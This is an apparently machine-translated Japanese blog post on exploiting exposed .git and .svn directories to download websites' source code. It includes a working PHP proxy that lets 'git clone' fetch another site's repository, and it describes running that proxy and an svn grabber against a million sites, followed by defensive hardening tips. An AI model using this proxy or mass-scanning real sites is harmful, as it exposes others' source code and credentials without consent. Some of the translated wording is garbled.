自分のサイトのソースコードをダウンロードした方法

2009年9月に、SVNを使用してサイトのソースコードをダウンロードできるSubversionバージョン管理システムに関連する脆弱性に関する記事が公開されました。 定期的に、何もすることなく、私の脳は私にグラバーを書いて、現時点でこの脅威の関連性をチェックすることを望んでいましたが、それはどういうわけか怠inessでした。 しかし、私はhabrayuzer Semenovの コメントに悩まされました







各生徒が既に.svnを介して%sitename%をダウンロードしようとしていることは明らかなので、このアイデアをすぐに拒否しましたが、 git clone%sitename%/。Git /を実行しようとしました。



まず、自分のサイトの.git *で404を無効にし、パブリックディレクトリにgitリポジトリを作成しました...



$ git init && git add . && git commit -m 'Test'

Initialized empty Git repository in /home/ilyaplot/data/www/web/.git/

[master (root-commit) d3dcdf3] Test

15 files changed, 713 insertions(+)

.....................







これで、新しく作成されたリポジトリを取得することができます



$ git clone http://******.com/.git/

Cloning into '******.com'...

fatal: http://'******..com/.git/info/refs not found: did you run git update-server-info on the server?







結局のところ、すべてがそれほど単純ではありません。 この方法でリポジトリをクローンするには、プロジェクトフォルダでgit update-server-infoを実行する必要がありますが、これは明らかな理由でできません。

必要なのは、HEADのコミットハッシュを含む1つの.git / info / refsファイルだけであることがわかります。

なぜなら コミットハッシュは.git / refs / heads / masterから取得できます。次に、gitが受け取ることを期待するものを提供するプロキシスクリプトを簡単に作成できます。 非常にシンプルなPHPスクリプトを入手しました。 Yii2プロジェクトで次のコンテンツを使用してコントローラーを作成しました。



 header("Content-Type: application/octet-stream"); if (preg_match("/^(?P<host>[\w\-\.]+)\/(?P<url>.+)/isu", $host, $matches)) { if ($matches['url'] == 'info/refs') { $ref = file_get_contents('http://' . $matches['host'] . '/.git/refs/heads/master'); $ref = trim($ref); echo "{$ref}\trefs/heads/master {$ref}\trefs/remotes/origin/HEAD {$ref}\trefs/remotes/origin/master "; } else { echo file_get_contents('http://' . $matches['host'] . '/.git/' . $matches['url']); } exit(); }
      
      





urlManagerにルールを追加しました



 [ 'pattern' => 'git/<host[\w\-\.\/]+>', 'route' => 'git/index', 'suffix' => '', ],
      
      





これで、自分のサイトを使用して自分のサイトのクローンを作成できます。 モニターについての冗談があるはずです



お試しください

$ git clone http://******.com/git/******.com

Cloning into '******.com'...

$ ls ******.com/

assets css favicon.ico images js robots.txt sitemaps







わかった! その後、私はこの方法を巨大なサイトでテストし、期待されたものを得ました。 なし。 それから、私は最も訪問された百万のインターネットサイトのリストを取り、それをすべて調べました。 多くのソースを取得する予定でしたが、100万サイトのうち4サイトのみです。調査した126サイトのコミットハッシュを持つ.git / refs / heads / masterを取得しましたが、これらのサイトのルーティングシステムのためにリポジトリクローンを作成できませんでした404を配った。



もちろん、もっと期待したのは、.svnでダウンロードできるサイトの数を確認することにしたからです。 私はpythonでグラバーを見つけ、それを100万サイトの同じリストに設定して起動しました。 数百のサイトがダウンロードされました。



最後に、いくつかのヒントを示します。



  1. 次に、通常のブラウザを使用して、サイト上の/.git/indexの可用性を確認します。

    403または404を受け取っていない場合は、次のアイテムが用意されています。
  2. .svnおよび.gitで404を返すようにサーバーを構成します。
  3. サイトのソースコードを取り出します。これは、クライアントがパブリックディレクトリの外部で受信すべきではありません。
  4. 構成で使用されるパスワード、管理パネルへのアクセスのURLを変更し、パブリックディレクトリからサービススクリプトを削除する価値があるかもしれません。


明らかな理由で、どのサイトを複製したか正確に言うことはできませんが、これらのサイトの所有者が既に欠陥を指摘した手紙を受け取っていることは確かです。



UPD:

kaimi_ruは、5つのバージョン管理システムgithub.com/kost/dvcs-ripperのスクリプトへのリンクを共有しました



All Articles